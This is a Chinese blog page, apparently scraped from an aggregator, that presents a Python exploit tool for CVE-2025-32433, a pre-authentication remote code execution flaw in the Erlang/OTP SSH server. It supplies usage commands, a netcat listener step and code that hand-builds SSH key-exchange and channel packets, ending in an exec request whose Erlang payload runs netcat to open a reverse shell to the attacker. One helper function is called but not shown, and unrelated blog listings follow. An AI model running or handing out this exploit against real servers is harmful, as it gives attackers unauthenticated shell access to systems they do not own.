news 2026/8/11 0:03:44

一键利用Erlang SSH高危漏洞获取反向Shell

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一键利用Erlang SSH高危漏洞获取反向Shell

CVE-2025-32433 Erlang SSH 漏洞利用工具

项目描述

这是一个针对CVE-2025-32433漏洞的Python自动化利用脚本。该漏洞存在于Erlang/OTP的SSH服务器库中,影响OTP-27.3.3OTP-26.2.5.11OTP-25.3.2.20之前的版本。攻击者可以利用此漏洞在无需有效凭证的情况下执行任意命令,获得未经授权的系统访问权限。本项目提供了一个完整的利用工具,通过发送特制的预认证SSH通道请求,触发Erlang RCE载荷并建立反向Shell连接。

功能特性

  • 自动化攻击流程: 自动处理SSH协议握手、通道建立和载荷发送全过程
  • 灵活的参数配置: 支持自定义攻击机和目标机的IP地址与端口
  • Erlang RCE载荷: 利用os:cmd函数执行Netcat命令建立反向Shell
  • 详细的日志输出: 提供每个攻击阶段的实时状态反馈
  • 协议级封装: 正确实现SSH消息格式、填充和长度编码
  • 异常处理: 包含完善的错误捕获和连接超时机制
  • 命令行友好: 使用argparse库提供清晰的帮助信息和参数验证

安装指南

系统要求

  • Python 3.6 或更高版本
  • 网络连接权限(用于连接目标SSH服务)
  • 攻击机上需要运行Netcat监听器

安装步骤

  1. 克隆或下载脚本

    gitclone<repository-url># 或直接下载 CVE-2025-32433.py 文件
  2. 确保Python环境可用

    python3 --version
  3. 无需额外依赖

    • 脚本仅使用Python标准库:argparsesocketstructtimesys

使用说明

基本使用流程

  1. 启动Netcat监听器(在攻击机上)

    nc-lvnp4444
  2. 运行漏洞利用脚本

    python3 CVE-2025-32433.py -lh192.168.1.100 -lp4444-rh10.0.0.5 -rp22
  3. 等待Shell连接

    • 如果目标系统易受攻击,反向Shell将连接到您的监听器

参数详解

参数简写必选默认值描述
--lhost-lh-接收反向Shell的本地IP地址
--lport-lp-接收反向Shell的本地端口
--rhost-rh10.10.10.10目标SSH服务器IP地址
--rport-rp22目标SSH服务器端口
--help-h-显示帮助信息

使用示例

攻击内网目标:

python3 CVE-2025-32433.py -lh192.168.1.100 -lp4444-rh192.168.1.50

攻击自定义端口:

python3 CVE-2025-32433.py -lh10.0.0.2 -lp5555-rh vulnerable.com -rp2222

核心代码

1. 参数解析模块

defparse_args():parser=argparse.ArgumentParser(description="CTF exploit: send a pre-auth SSH channel request ""with an Erlang RCE payload to get a reverse shell")parser.add_argument("-lh","--lhost",required=True,help="Local host/IP to receive the reverse shell")parser.add_argument("-lp","--lport",type=int,required=True,help="Local port to receive the reverse shell")parser.add_argument("-rh","--rhost",default="10.10.10.10",help="Target SSH server IP (default: 10.10.10.10)")parser.add_argument("-rp","--rport",type=int,default=22,help="Target SSH server port (default: 22)")returnparser.parse_args()

代码说明:使用argparse库定义命令行参数,包括必需的本地监听地址/端口和可选的目标地址/端口,提供清晰的帮助信息。

2. SSH消息构造模块

defstring_payload(s:str)->bytes:b=s.encode("utf-8")returnstruct.pack(">I",len(b))+bdefbuild_channel_request(channel_id:int,lhost:str,lport:int)->bytes:# Erlang RCE payload using netcat; trailing period is requiredpayload=f'os:cmd("nc{lhost}{lport}-e /bin/sh").'return(b"\x62"# SSH_MSG_CHANNEL_REQUEST+struct.pack(">I",channel_id)+string_payload("exec")+b"\x01"# want_reply = True+string_payload(payload))

代码说明:构建SSH协议消息,其中关键部分是生成Erlang RCE载荷,通过os:cmd函数执行Netcat命令建立反向Shell,注意末尾的句点是Erlang语法要求。

3. SSH数据包封装模块

defpad_packet(pkt:bytes,block_size:int=8)->bytes:min_pad=4pad_len=block_size-((len(pkt)+5)%block_size)ifpad_len<min_pad:pad_len+=block_size total_len=len(pkt)+1+pad_lenreturnstruct.pack(">I",total_len)+bytes([pad_len])+pkt+b"\x00"*pad_len

代码说明:实现SSH协议的数据包填充机制,计算正确的填充长度以确保数据包符合SSH协议规范,包括总长度、填充长度和实际内容。

4. 主攻击逻辑模块

defmain():args=parse_args()print(f"[*] Target:{args.rhost}:{args.rport}")print(f"[*] Listener:{args.lhost}:{args.lport}")try:withsocket.create_connection((args.rhost,args.rport),timeout=5)ass:print("[*] Connected. Exchanging banner...")s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")banner=s.recv(1024)print(f"[+] Banner:{banner.strip().decode(errors='ignore')}")time.sleep(0.3)print("[*] Sending fake KEXINIT...")s.sendall(pad_packet(build_kexinit()))time.sleep(0.3)print("[*] Opening channel...")s.sendall(pad_packet(build_channel_open()))time.sleep(0.3)print("[*] Sending exec request with Erlang reverse-shell payload...")req=build_channel_request(0,args.lhost,args.lport)s.sendall(pad_packet(req))print("[✓] Payload sent. If the server is vulnerable, check your listener now.")exceptExceptionase:print(f"[!] Exploit failed:{e}")sys.exit(1)

代码说明:主攻击流程,建立TCP连接,发送SSH横幅,伪造密钥交换初始化,打开SSH通道,最后发送包含RCE载荷的通道请求,每个步骤间有适当延迟以确保协议顺序。

5. KEXINIT构造模块

defbuild_kexinit()->bytes:cookie=b"\x00"*16defnl(lst):returnstring_payload(",".join(lst))return(b"\x14"# SSH_MSG_KEXINIT+cookie+nl(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256",])+nl(["rsa-sha2-256","rsa-sha2-512"])+nl(["aes128-ctr"])*2+nl(["hmac-sha1"])*2+nl(["none"])*2+nl([])*2+b"\x00"# first_kex_packet_follows+struct.pack(">I",0)# reserved)

代码说明:构造SSH密钥交换初始化消息,定义支持的算法列表,包括密钥交换算法、主机密钥算法、加密算法和MAC算法,使用空cookie和适当的保留字段。

免责声明: 本工具仅供教育、研究和授权安全测试使用。请仅对您拥有合法权限的系统进行测试。未经授权攻击他人系统是违法行为。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5ZLZ6sDpmKDPWlvvdwWfc+
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/10 17:02:37

计算机Nodejs毕设实战-基于nodejs的药膳食堂点餐系统的设计与实现基于Node和Vue的点餐平台系统设计【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/8/10 17:02:56

STM32启动文件

目录 1.本文启动文件位STM32G030的启动文件&#xff08;.s为结尾的文件&#xff09;&#xff0c;其他型号单片机大同小异&#xff0c;可以直接参考。 我们先来看下启动文件的&#xff0c;开头说明 1、说明 2、启动流程 3、程序分析 1.本文启动文件位STM32G030的启动文件&a…

作者头像 李华
网站建设 2026/8/10 17:02:55

PHP毕设项目推荐-基于PHP的家教预约服务系统预约时间、服务内容、支付记录基于php+vue的家教预约服务网页设计与开发【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/8/10 17:01:44

国外虚拟乐器app

看了这个app&#xff0c;我才知道什么叫做市场细分--------他不是正对普通人的某一个特定场景&#xff0c;他是直接针对特定人群&#xff0c;这个人群就已经细分了 他是按照职业来划分市场 About this app For musicians from pros to beginners, whether you sing, play a …

作者头像 李华
网站建设 2026/8/10 17:03:09

强烈安利9个降AIGC工具,千笔·降AIGC助手帮你彻底降AI率

AI降重工具&#xff1a;让论文更自然&#xff0c;更安全 随着人工智能技术的广泛应用&#xff0c;越来越多的学生在撰写论文时会借助AI工具进行辅助。然而&#xff0c;AI生成的内容往往带有明显的“AI痕迹”&#xff0c;不仅容易被查重系统识别&#xff0c;还可能影响论文的整体…

作者头像 李华
网站建设 2026/8/10 17:06:12

【课程设计/毕业设计】基于php+vue的矿产资源管理系统矿业资源管理系统的设计与实现【附源码、数据库、万字文档】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华